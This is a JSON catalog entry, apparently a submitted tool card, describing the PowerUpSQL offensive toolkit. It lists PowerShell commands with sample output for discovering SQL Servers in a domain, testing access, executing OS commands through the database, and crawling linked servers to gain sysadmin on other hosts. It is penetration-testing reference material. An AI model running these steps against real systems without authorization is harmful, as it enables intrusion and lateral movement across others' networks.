New tool: PowerUpSQL

[Patrick-DE]

{
  "name": "PowerUpSQL",
  "phases": [
    "02. Reconnaissance",
    "09. AD Misconfigurations"
  ],
  "category": "",
  "stealthy": false,
  "platforms": [
    "Windows"
  ],
  "source": "https://github.com/NetSPI/PowerUpSQL",
  "description": "SQL Exploitation Tools",
  "undetected": [],
  "detected": [],
  "content": "",
  "commands": [
    {
      "id": "c225c0b5-0f0d-4c88-b72e-a2f39022f885",
      "name": "Get SQL-Server via SPN",
      "description": "Searching for SPNs that begin with MSSQL*",
      "tag": "",
      "results": [
        "SERVICE:SQL"
      ],
      "cmd": "Get-SQLInstanceDomain\n\nComputerName     : srv1.edu.evil.corp\nInstance         : srv1.edu.evil.corp,1433\nDomainAccountSid : 150000[ ...snip... ]172110400\nDomainAccount    : svc_mssql\nDomainAccountCn  : MS SQL Service\nService          : MSSQLSvc\nSpn              : MSSQLSvc/srv1.edu.evil.corp:1433\nLastLogon        : 5/14/2022 2:24 PM\nDescription      :"
    },
    {
      "id": "498e5c7a-71be-4547-944e-741622d795e1",
      "name": "Get SQL-Server via Broadcast",
      "description": "",
      "tag": "",
      "results": [
        "SERVICE:SQL"
      ],
      "cmd": "Get-SQLInstanceBroadcast"
    },
    {
      "id": "c78f6db7-b5d7-492c-8a29-93b220195862",
      "name": "Get SQL-Server via UDP scan",
      "description": "",
      "tag": "",
      "results": [
        "SERVICE:SQL"
      ],
      "cmd": "Get-SQLInstanceScanUDP"
    },
    {
      "id": "1178765f-8d1e-49b8-9354-8d67e1d7cfa7",
      "name": "Get SQL-Server Information",
      "description": "",
      "tag": "",
      "results": [
        "SERVICE:SQL:INFO"
      ],
      "cmd": "Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq \"Accessible\" } | Get-SQLServerInfo\n",
      "requirements": {
        "tag": "SERVICE:SQL"
      }
    },
    {
      "id": "b2b091f4-3ef8-45a4-880a-1c76f39ee0e2",
      "name": "Test login",
      "description": "",
      "tag": "",
      "results": [
        "CRED:PASS:PLAIN"
      ],
      "cmd": "Get-SQLConnectionTest -Instance \"srv1.edu.evil.corp,1433\" | fl\n\nComputerName : srv1.edu.evil.corp\nInstance     : srv1.edu.evil.corp,1433\nStatus       : Accessible",
      "requirements": {
        "tag": "SERVICE:SQL"
      }
    },
    {
      "id": "2dd747b0-646a-4ccc-9418-7e613e0dd947",
      "name": "Get SQL-Server information",
      "description": "",
      "tag": "",
      "results": [],
      "cmd": "Get-SQLServerInfo -Instance \"srv1.edu.evil.corp,1433\"\n\nComputerName           : srv1.edu.evil.corp\nInstance               : SRV1\nDomainName             : EDU\nServiceProcessID       : 3960\nServiceName            : MSSQLSERVER\nServiceAccount         : EDU\\svc_mssql\nAuthenticationMode     : Windows Authentication\nForcedEncryption       : 0\nClustered              : No\nSQLServerVersionNumber : 13.0.5026.0\nSQLServerMajorVersion  : 2019\nSQLServerEdition       : Standard Edition (64-bit)\nSQLServerServicePack   : SP2\nOSArchitecture         : X64\nOsMachineType          : ServerNT\nOSVersionName          : Windows Server 2016 Datacenter\nOsVersionNumber        : SQL\nCurrentlogin           : EDU\\john\nIsSysadmin             : Yes\nActiveSessions         : 1",
      "requirements": {
        "tag": "SERVICE:SQL"
      }
    },
    {
      "id": "7f54233d-02a5-4f22-9451-f74ee2824a69",
      "name": "Query SQL",
      "description": "",
      "tag": "",
      "results": [],
      "cmd": "Get-SQLQuery -Instance \"srv1.edu.evil.corp,1433\" -Query \"select @@servername\"\n\nColumn1\n-------\nSRV1",
      "requirements": {
        "tag": "SERVICE:SQL"
      }
    },
    {
      "id": "1c9e311e-e639-43fd-8baa-8fe14ad50ca3",
      "name": "SQL Command Execution",
      "description": "",
      "tag": "",
      "results": [
        "EXECUTION:REMOTE"
      ],
      "cmd": "Invoke-SQLOSCmd -Instance \"srv1.edu.evil.corp,1433\" -Command \"whoami\" -RawResults\n\nedu\\svc_mssql",
      "requirements": {
        "tag": "SERVICE:SQL"
      }
    },
    {
      "id": "86910ee4-5915-4035-bef3-7d866b6ba9d4",
      "name": "Get SQL-Server Link",
      "description": "Manually querying databases to find links can be cumbersome and time-consuming, so you can also use Get-SQLServerLinkCrawl to automatically crawl all available links.",
      "tag": "",
      "results": [
        "SERVICE:SQL:LINK"
      ],
      "cmd": "Get-SQLServerLinkCrawl -Instance \"srv1.edu.evil.corp,1433\"\n\nVersion     : SQL Server 2016 \nInstance    : SRV1\nCustomQuery : \nSysadmin    : 1\nPath        : {SRV1}\nUser        : EDU\\john\nLinks       : {SQL-1.EVIL.CORP}\n\nVersion     : SQL Server 2016 \nInstance    : SQL-1\nCustomQuery : \nSysadmin    : 1\nPath        : {SRV1, SQL-1.EVIL.CORP}\nUser        : sa\nLinks       : {SQL01.evil.external}\n\nVersion     : SQL Server 2019 \nInstance    : SQL01\\SQLEXPRESS\nCustomQuery : \nSysadmin    : 1\nPath        : {SRV1, SQL-1.EVIL.CORP, SQL01.evil.external}\nUser        : sa\nLinks       :",
      "requirements": {
        "tag": "SERVICE:SQL"
      }
    }
  ],
  "latest_commit": "2022-12-26T22:59:48Z"
}